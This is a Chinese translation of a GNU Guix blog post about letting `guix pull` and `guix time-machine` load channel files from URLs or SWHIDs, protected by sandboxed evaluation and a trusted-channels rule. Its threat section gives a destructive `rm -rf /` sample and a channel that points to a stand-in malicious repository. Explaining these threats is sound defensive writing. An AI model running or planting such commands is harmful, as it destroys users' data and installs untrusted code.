无国界的时间旅行
摘要
本文探讨了 GNU Guix 的 `time-machine` 和 `pull` 命令的一项新功能,该功能支持通过单行命令从频道部署软件,同时解决了下载并执行不受信任代码所引发的安全问题。
<p><a href="https://lobste.rs/s/gz9o6e/time_travel_without_borders">评论</a></p>
查看缓存全文
缓存时间: 2026/05/13 00:22
# 无国界的时间旅行 —— 2026 —— 博客 —— GNU Guix
来源:https://guix.gnu.org/en/blog/2026/time-travel-without-borders/
## 无国界的时间旅行
Ludovic Courtès — 2026年5月12日
当提供运行他人代码的选项时,首要考虑因素通常是部署的便捷性。虽然在支持快速部署方面取得了很大进步,但这些快速部署的安全影响往往被忽视。在本文中,我们将探讨 `guix time-machine` 和 `guix pull` 的一项新功能,以支持*单行部署命令*:能够下载频道文件,同时不 compromising 安全性。
## 代码共享
使用 Guix 共享软件并使其易于部署的正常工作流程如下:某人戴上打包者的帽子,编写包定义,将其添加到 Guix 主仓库或单独的频道(https://guix.gnu.org/manual/devel/en/html_node/Channels.html),此时任何人都可以获取相关频道并部署软件。
例如,假设您希望在最新 Guix 修订版中打包的 `yt-dlp`(https://packages.guix.gnu.org/packages/yt-dlp)环境中运行,而不升级系统或经过显式的安装步骤。最简单的方法是执行以下命令:
```
guix time-machine -q -- shell yt-dlp -- yt-dlp ...
```
如果您熟悉 Nix,这与以下命令等价——尽管存在一些我们将在下面讨论的重要差异:
```
nix shell nixpkgs#yt-dlp --command yt-dlp ...
```
在这两种情况下,我们都在获取最新的包集合修订版(对于 Guix 是 `master` 分支,对于 Nix 是 Nixpkgs 的 `nixpkgs-unstable` 分支),并从中运行 `yt-dlp`。(`nix run`(https://nix.dev/manual/nix/2.28/command-ref/new-cli/nix3-run.html)更进一步,免去了指定命令名称的需要。)
现在,这是一个简单的例子,因为 `yt-dlp` 来自 Guix 本身。如果您想要部署另一个频道中的应用,比如 Guix-Science(https://codeberg.org/guix-science/guix-science)呢?嗯,您首先需要为 Guix-Science 准备一个 `channels.scm` 文件(https://hpc.guix.info/channel/guix-science),*然后*您可以将其传递给 `guix pull` 或 `guix time-machine`:
```
$EDITOR channels.scm
# 确保其中包含 Guix-Science。
guix time-machine -C channels.scm -- shell ...
```
如果您运气好,或许可以下载一个频道文件。例如,Cuirass(https://guix.gnu.org/en/cuirass)为所有成功评估的提交生成频道文件,因此您可以为 Guix-Science 获取一个(https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science)并从中继续:
```
wget -O channels.scm \
https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
guix time-machine -C channels.scm -- shell ...
```
您甚至可以使用 Bash *进程替换*(https://doc.guix.gnu.org/bash/5.2.37/en/html_node/Process-Substitution.html)在一个命令中完成它!
```
guix time-machine \
-C <(wget -O https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science) \
-- shell ...
```
但这真的是个好主意吗?
## 威胁
如果仔细观察,`nix shell` 命令和最后两个 `guix time-machine` 命令带有一点 `curl | sh` 的味道:下载任意代码并立即运行,不再进行其他检查。`nix shell` 所做的只是通过 HTTPS 验证 `github.com`,`wget` 也是如此——从真正的 `github.com` 下载并不能告诉您正在运行的代码是否可信。
在 Guix 的情况下,您下载的 `channels.scm` 可能如下所示:
```
(system* "rm" "-rf" "/") ;糟糕!
```
这里 `system*`,正如您可能猜到的那样,会调用命令(https://doc.guix.gnu.org/guile/latest/en/html_node/Processes.html#index-system_002a)。是的,频道文件可以包含任意的 Scheme 代码!(值得注意的是,这个问题 Nix 并不存在:Nix 作为一种领域特定语言(DSL)已经限制了 Nix 代码能做什么,特别是在所谓“纯”评估的情况下。)
或者它可能像这样:
```
(list (channel
(name 'guix)
;; 这是 Mallory 的恶意 Guix,现在你被 PWND 了!
(url "https://example.org/EVIL/guix.git")
(branch "master")
(introduction
(make-channel-introduction
"badc0ffeed807b096b48283debdcddccfea34bad"
(openpgp-fingerprint
"DEAD CABB A99E F6A8 0D1D E643 A2A0 6DF2 A33A BADD")))))
```
在这种情况下,频道文件看起来不错,但您即将获取的频道——可能就不那么好了。
所以不:下载频道文件并在不检查的情况下使用它是不合理的。
## 两全其美
我们能否既吃蛋糕又保留蛋糕?我们能否随意下载他人的频道文件而不危及系统安全?
刚刚在 `guix pull` 和 `guix time-machine` 中落地的更改旨在解决这些看似矛盾的需求。这两个命令现在能够自行下载:只需使用 `-C`(或 `--channels`)选项传递一个 URL 即可。
```
guix time-machine \
-C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master \
-- ...
```
关键的是,此命令*不*等同于上面看到的简单 `-C <(wget -O ...)` 技巧。
首先,频道代码现在在一个“沙箱”(https://doc.guix.gnu.org/guile/latest/en/html_node/Sandboxed-Evaluation.html)中评估:它只能访问预定义的一组绑定,不能导入额外的模块,并且必须在有限的时间内运行并分配有限的内存。这仍然提供了许多通用设施的访问权限,但阻止了任何可能用于更改系统状态、外泄数据或导致拒绝服务的操作。
有了这一点,评估频道文件可以被认为是安全的。现在,还有一个问题:该文件可能会列出我作为用户不信任的频道。在这里,我们看到了从*外部*获取频道文件与保持系统安全之间的张力。为了解决这个问题,我们制定了一条新规则:只有*受信任的频道*可以被部署;如果频道文件列出了不受信任的频道,`guix pull` 和 `guix time-machine` 将报错。受信任的频道定义如下:
- 如果存在 `~/.config/guix/trusted-channels.scm`,则为其列出的频道——该文件像常规频道文件一样列出频道;
- 或者,它们是当前正在使用的频道,由 `guix describe` 返回。
这引出了一个有趣的问题:*频道身份*。我在 `trusted-channels.scm` 中称为 `guix-science` 的这个频道,其他人可能称其为 `Guix-Science` 或 `science`;我如何判断我们处理的是*我*称为 `guix-science` 且我信任的频道?
关键的见解是,名称本身并不重要;真正重要的是频道的“介绍”——告诉*如何*验证该频道更新的信息(https://guix.gnu.org/en/blog/2020/securing-updates/)。如果您忘记了那一集,介绍就是频道规范中出现的十六进制字符串部分:
```
(channel
(name 'guix-past)
(url "https://codeberg.org/guix-science/guix-past")
(introduction ;这个十六进制乱码 👇 是频道的身份
(make-channel-introduction
"0c119db2ea86a389769f4d2b9c6f5c41c027e336"
(openpgp-fingerprint
"3CE4 6455 8A84 FDC6 9DB4 0CFB 090B 1199 3D9A EBB5"))))
```
具有相同介绍的兩個频道是同一个频道。因此,如果我的 `trusted-channels.scm` 包含具有上述介绍的频道,`pull` 和 `time-machine` 将乐意从中拉取。
推论是,无法验证身份的频道——即缺乏 `introduction` 字段的频道——不能被视为受信任的频道。
总体而言,这条“受信任频道”规则以灵活性换取安全性。这是一种权衡,但看起来比实质上等同于任意代码执行(如 `curl | sh`)的任何默认选项更好。
## 聚会
“为什么要下载频道文件?”您可能会问。以下是我们设想的一些典型用例。
第一个是从持续集成系统下载频道文件——从已知良好的状态部署,测试新的包版本或新功能,重现错误等。Cuirass(https://guix.gnu.org/en/cuirass)为其评估的每个频道集提供频道文件。因此,例如,您可以像这样拉取最新成功评估的 Guix 频道:
```
guix pull -C https://ci.guix.gnu.org/eval/latest/channels.scm?spec=master
```
同样,以下是您如何前往最新的 Guix-Science 频道和依赖频道(https://guix.gnu.org/manual/devel/en/html_node/Declaring-Channel-Dependencies.html)以执行 RStudio 的方法:
```
guix time-machine \
-C https://guix.bordeaux.inria.fr/eval/latest/channels.scm?spec=guix-science
-- shell rstudio -- rstudio
```
第二个类似用例是*演示的单行命令*:如果您正在开发应用程序,可以打包它,发布一个频道文件,并分享一个 `time-machine` 命令来启动它。使用固定频道(https://guix.gnu.org/manual/1.5.0/en/html_node/Replicating-Guix.html),您可以确保用户从已知良好的状态运行它。
第三个新兴用例是*频道版本*。维护第三方频道的团队可能希望将他们的频道版本标记为频道文件,其中每个频道都是固定的。这就是 Guix-Science 项目最近决定做的事情(https://codeberg.org/guix-science/guix-science/issues/528)。
同样,第四个用例是发布经过测试的频道文件,整个团队或整个计算机舰队都可以从中升级。想象一下,一组负责测试的人会定期发布一个新的频道文件,该文件固定在已知良好的提交上,所有团队成员或整个舰队都可以安全地从中拉取——它甚至可用于无人值守升级(https://guix.gnu.org/manual/devel/en/html_node/Unattended-Upgrades.html)!
第五个用例是*可重复研究*(https://guix.gnu.org/cookbook/en/html_node/Reproducible-Research.html)。计算工作流可以通过两个文件*捕获*(https://guix.gnu.org/cookbook/en/html_node/Recording-the-Environment.html):`channels.scm` 和 `manifest.scm`。在某些情况下,我们也可以下载频道文件。
## 不协调?
但等等……敏锐的读者可能会感到一些不协调:*下载*频道文件来设置据称可重复的工作流?这不可能正确:频道文件可能会随时间改变,或者可能从原始 URL 消失。这不是可重复性,是吗?
正如 Simon Tournier 迅速建议的那样(https://codeberg.org/guix/guix/pulls/6745#issuecomment-11142860),解决方案是支持 SWHID(https://swhid.org/)(软件哈希标识符)除了 URL 之外。SWHID 本质上是一种标准化的内容哈希,唯一标识“内容”——原始数据或结构化数据,如目录和版本控制修订。如果您跟进了,您可能还记得 Guix 与软件遗产档案相连(https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/)。在 Guix 中打包的软件也在档案中(https://archive.softwareheritage.org/),所以我们所要做的就是连接这些点。
考虑以下命令:
```
guix time-machine \
-C swh:1:cnt:003e1e0c1b9b358082201332c926ae54e9549002 \
-- ...
```
它下载由给定 SWHID(https://archive.softwareheritage.org/browse/search/?q=swh%3A1%3Acnt%3A003e1e0c1b9b358082201332c926ae54e9549002&with_visit=true&with_content=true)标识的频道文件,然后继续进行。
SWHID 作为明确且唯一的*内容地址*,用于引用特定的频道集。它可以使用 `guix hash`(https://guix.gnu.org/manual/devel/en/html_node/Invoking-guix-hash.html)计算,但当然,频道文件必须首先存在于软件遗产档案中。因此,如果文件是版本控制仓库的一部分,您可以首先请求归档该仓库(https://archive.softwareheritage.org/save/)。在研究论文中,可以包含一个命令来重新运行论文所基于的计算。
## 愉悦
这一新添功能令人愉悦的原因有几个。首先,因为它解决了人们谈论了一段时间的用例,填补空白总是令人愉快的。这也感觉很好,因为几种设计选择相互补充,使得这里的一切都恰到好处:频道规范、Guile 的“沙箱”、频道验证和软件遗产集成。
整个 endeavor——允许快速部署而不 compromising 安全性——听起来可能像堂吉诃德式的,或者有些人可能会说,在 `pip`(https://hpc.guix.info/blog/2021/09/whats-in-a-package/)、`npm`(https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream/)、`snap`(https://linuxsecurity.com/news/hackscracks/crypto-stealing-malware-hits-snap-packages)等等都在不知疲倦地部署未知来源的软件的时代,这似乎是过时的。在 Guix 中,我们确实相信透明度、来源追踪和可验证性对于我们运行的软件至关重要;像这样的努力是由这些原则指导的。
该功能在几天前落地(https://codeberg.org/guix/guix/pulls/6745)。试一试,希望你也觉得愉快!
## 致谢
我感谢 Caleb “Reepca” Ristvedt 对他们彻底代码审查和富有见地的建议,以及 Simon Tournier 对总体方法的评论和建议改进。感谢 Rutherther 和 Cayetano Santos 审阅此帖子的早期草稿。
除非另有说明,本站上的博客文章均受其各自作者所有,并根据 CC-BY-SA 4.0(https://creativecommons.org/licenses/by-sa/4.0/)许可证以及 GNU 自由文档许可证(https://www.gnu.org/licenses/fdl-1.3.html)(版本 1.3 或更高版本,无不变章节,无封面文本,无封底文本)的条款发布。
相似文章
Guix Nix 的怪异融合:在 Nix 中利用 Guix 派生
一项技术探索,展示了 Nix 如何构建 Guix 派生项,强调了共享底层“输入输出机”架构以及跨生态系统互操作的可能性。
包管理器中的补丁与分支策略
本文探讨了在上游维护者未能解决漏洞时,针对不同语言包管理器修补和分支依赖项的策略。文章对比了系统包管理器强大的修补能力与语言注册表的局限性,并详细介绍了在各种生态系统中使用 Git 覆盖和分支等变通方法。
自调用可执行文件
本文介绍了自调用可执行文件的概念,即程序启动自身的另一个实例,并演示了其在 Go 测试(在子进程中运行 main 函数)和 TUI 工具(例如 jjui 使用 SSH_ASKPASS 通过子进程提示输入密码)中的应用。
@skirano:用OpenAI最新图像生成模型造了一台时间机器。说出你想去的地点与时间,它就能生成可沉浸探索的全景世界……
一位开发者利用OpenAI的新图像模型打造了一款沉浸式“时间机器”工具,可根据文本提示生成可探索的全景场景。
标明版本!所有程序都必须报告其版本
本文主张在所有软件程序中强制进行版本标记,以改进事件响应,并以i3窗口管理器的版本报告系统作为案例研究,同时涵盖了使用Go和NixOS的实现细节。